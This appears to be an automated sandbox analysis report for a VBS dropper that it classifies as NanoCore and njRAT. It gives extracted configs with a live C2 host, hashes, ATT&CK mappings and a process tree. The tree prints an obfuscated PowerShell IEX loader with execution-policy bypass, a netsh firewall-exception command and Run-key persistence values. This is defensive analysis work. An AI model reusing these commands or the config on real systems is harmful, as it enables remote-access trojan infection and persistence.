nanocore | 6cb5a93eec2726f651d8a61a9e865d46a93324992d9a2467edb6b83b64789985

General

Target

J3m1a_Payment_Copy.vbs
Size

2KB
MD5

69cb30fd3d94cfcc7c89a1f41a47d8dd
SHA1

5cc7c867d8b5238fa7ad4718c5ba5d105e72cd22
SHA256

6cb5a93eec2726f651d8a61a9e865d46a93324992d9a2467edb6b83b64789985
SHA512

02a96d4ecfda83233a557ac3cf94629ee251ed9ecef775bd697d371091c5c03fb48aacb4640770fdd9fd097f1cd118b62053c0f26183e08062ede68a6c4b8d5a

Score

10^/10

nanocore njrat hacked evasion keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

jamcav.duckdns.org:6746

Mutex

9bb8b571-1a08-4fb2-8447-a1da0968f2fa

Attributes

activate_away_mode
true
backup_connection_host
jamcav.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-08-20T15:54:30.577245636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
6746
default_group
jam
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
jamcav.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

12 2428 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

GoogleCrashHandler.exe

pid process

316 GoogleCrashHandler.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
12	2428	powershell.exe

pid	process
316	GoogleCrashHandler.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

jsc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 2428 set thread context of 1168	2428	powershell.exe	jsc.exe
PID 2428 set thread context of 1752	2428	powershell.exe	jsc.exe
PID 2428 set thread context of 3908	2428	powershell.exe	jsc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 15 IoCs

Processes:

powershell.exepowershell.exejsc.exe

pid	process
2624	powershell.exe
2624	powershell.exe
2624	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
1168	jsc.exe
1168	jsc.exe
1168	jsc.exe
1168	jsc.exe
1168	jsc.exe
1168	jsc.exe
1168	jsc.exe
1168	jsc.exe
1168	jsc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

jsc.exe

pid process

1168 jsc.exe

pid	process
1168	jsc.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exepowershell.exejsc.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	1168	jsc.exe
Token: SeDebugPrivilege	3908	jsc.exe
Token: 33	3908	jsc.exe
Token: SeIncBasePriorityPrivilege	3908	jsc.exe
Token: 33	3908	jsc.exe
Token: SeIncBasePriorityPrivilege	3908	jsc.exe
Token: 33	3908	jsc.exe
Token: SeIncBasePriorityPrivilege	3908	jsc.exe
Token: 33	3908	jsc.exe
Token: SeIncBasePriorityPrivilege	3908	jsc.exe
Token: 33	3908	jsc.exe
Token: SeIncBasePriorityPrivilege	3908	jsc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

jsc.exe

pid process

1752 jsc.exe

pid	process
1752	jsc.exe

Suspicious use of WriteProcessMemory 34 IoCs

Processes:

WScript.exepowershell.exepowershell.exejsc.exejsc.exe

description	pid	process	target process
PID 2476 wrote to memory of 2624	2476	WScript.exe	powershell.exe
PID 2476 wrote to memory of 2624	2476	WScript.exe	powershell.exe
PID 2624 wrote to memory of 2428	2624	powershell.exe	powershell.exe
PID 2624 wrote to memory of 2428	2624	powershell.exe	powershell.exe
PID 2428 wrote to memory of 1168	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1168	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1168	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1168	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1168	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1168	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1168	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1168	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1752	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1752	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1752	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1752	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1752	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1752	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1752	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 1752	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 3908	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 3908	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 3908	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 3908	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 3908	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 3908	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 3908	2428	powershell.exe	jsc.exe
PID 2428 wrote to memory of 3908	2428	powershell.exe	jsc.exe
PID 1752 wrote to memory of 316	1752	jsc.exe	GoogleCrashHandler.exe
PID 1752 wrote to memory of 316	1752	jsc.exe	GoogleCrashHandler.exe
PID 1752 wrote to memory of 316	1752	jsc.exe	GoogleCrashHandler.exe
PID 3908 wrote to memory of 3984	3908	jsc.exe	netsh.exe
PID 3908 wrote to memory of 3984	3908	jsc.exe	netsh.exe
PID 3908 wrote to memory of 3984	3908	jsc.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\J3m1a_Payment_Copy.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cc = 'by------------s'.Replace('------------','pas');$bb = '-ex++++++++++++++++icy'.Replace('++++++++++++++++','ecutionpol');$aa = '-no--------------le'.Replace('--------------','profi');$dd = 'C:\Us<<<<<<<<<>>>>>>>>>ar.ps1'.Replace('<<<<<<<<<>>>>>>>>>','ers\Public\Downloads\HB');$Run = 'Powers-----------------dd'.Replace('-----------------','hell $aa $bb $cc -file $');($Run -Join '')|&('I'+'eX')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2428

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1168

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1752

C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
"C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe"
5⤵
- Executes dropped EXE
PID:316

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3908

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE
5⤵
PID:3984

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
114c93321b801971f69ed35cb9226f35

SHA1
69e07353153eacf0b9a820275b77cfb13b6178a1

SHA256
bc46b8ab4da03c0560566812bec2c237a8fd57b7004f92f50d7bd82b6bef1f51

SHA512
3ea774041f95edf6854aa1ca363c3b8453c3fb979340e3d5338c33773d79da0179bc0ac5d2d4bac251d06466ef1bc7695d8ef3167b8db58c0c8d6c1c5e1ca9a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Public\Downloads\HBar.ps1
MD5
337541d9757cb9a63d85337a2f1a4f27

SHA1
377ed9d80c26e3d0f3d6f943fa773a3ff83fe242

SHA256
867cca9a95ed015d4a227078782bf495af80c6101d0085eddcfe8aecc6284bef

SHA512
9e98ac416efd807434386942b6f3fb938a384479a0703e89324b769053eaf72ecd609cc826f172227ad93e7efd5e90caeb0ebca939bbec53981244013bb31031

Download Submit
memory/316-202-0x000000007F460000-0x000000007F461000-memory.dmp

Filesize
4KB

Download
memory/316-200-0x00000000006F0000-0x00000000006F1000-memory.dmp

Filesize
4KB

Download
memory/316-192-0x0000000000000000-mapping.dmp

Download
memory/1168-182-0x0000000005E00000-0x0000000005E03000-memory.dmp

Filesize
12KB

Download
memory/1168-172-0x0000000004F20000-0x0000000004F21000-memory.dmp

Filesize
4KB

Download
memory/1168-163-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/1168-181-0x0000000005170000-0x0000000005189000-memory.dmp

Filesize
100KB

Download
memory/1168-180-0x0000000005160000-0x0000000005165000-memory.dmp

Filesize
20KB

Download
memory/1168-164-0x000000000041E792-mapping.dmp

Download
memory/1168-167-0x0000000005400000-0x0000000005401000-memory.dmp

Filesize
4KB

Download
memory/1168-194-0x0000000004F00000-0x00000000053FE000-memory.dmp

Filesize
5.0MB

Download
memory/1168-170-0x0000000004F00000-0x00000000053FE000-memory.dmp

Filesize
5.0MB

Download
memory/1168-169-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

Download
memory/1168-168-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

Filesize
4KB

Download
memory/1752-173-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/1752-174-0x00000000004123BE-mapping.dmp

Download
memory/1752-193-0x0000000004F60000-0x000000000545E000-memory.dmp

Filesize
5.0MB

Download
memory/2428-136-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-146-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-150-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-151-0x000001F625846000-0x000001F625848000-memory.dmp

Filesize
8KB

Download
memory/2428-152-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-162-0x000001F625860000-0x000001F625864000-memory.dmp

Filesize
16KB

Download
memory/2428-144-0x000001F625843000-0x000001F625845000-memory.dmp

Filesize
8KB

Download
memory/2428-143-0x000001F625840000-0x000001F625842000-memory.dmp

Filesize
8KB

Download
memory/2428-141-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-140-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-138-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-137-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-135-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-191-0x000001F623A00000-0x000001F623A02000-memory.dmp

Filesize
8KB

Download
memory/2428-134-0x0000000000000000-mapping.dmp

Download
memory/2624-128-0x000001CEEEFD0000-0x000001CEEEFD1000-memory.dmp

Filesize
4KB

Download
memory/2624-125-0x000001CEEED43000-0x000001CEEED45000-memory.dmp

Filesize
8KB

Download
memory/2624-133-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/2624-119-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/2624-201-0x000001CEEED46000-0x000001CEEED48000-memory.dmp

Filesize
8KB

Download
memory/2624-118-0x0000000000000000-mapping.dmp

Download
memory/2624-127-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/2624-126-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/2624-124-0x000001CEEED40000-0x000001CEEED42000-memory.dmp

Filesize
8KB

Download
memory/2624-129-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/2624-198-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/2624-123-0x000001CEEECF0000-0x000001CEEECF1000-memory.dmp

Filesize
4KB

Download
memory/2624-122-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/2624-121-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/2624-120-0x000001CED4E10000-0x000001CED4E12000-memory.dmp

Filesize
8KB

Download
memory/3908-185-0x000000000040BBCE-mapping.dmp

Download
memory/3908-184-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3908-204-0x00000000054C0000-0x00000000059BE000-memory.dmp

Filesize
5.0MB

Download
memory/3984-203-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads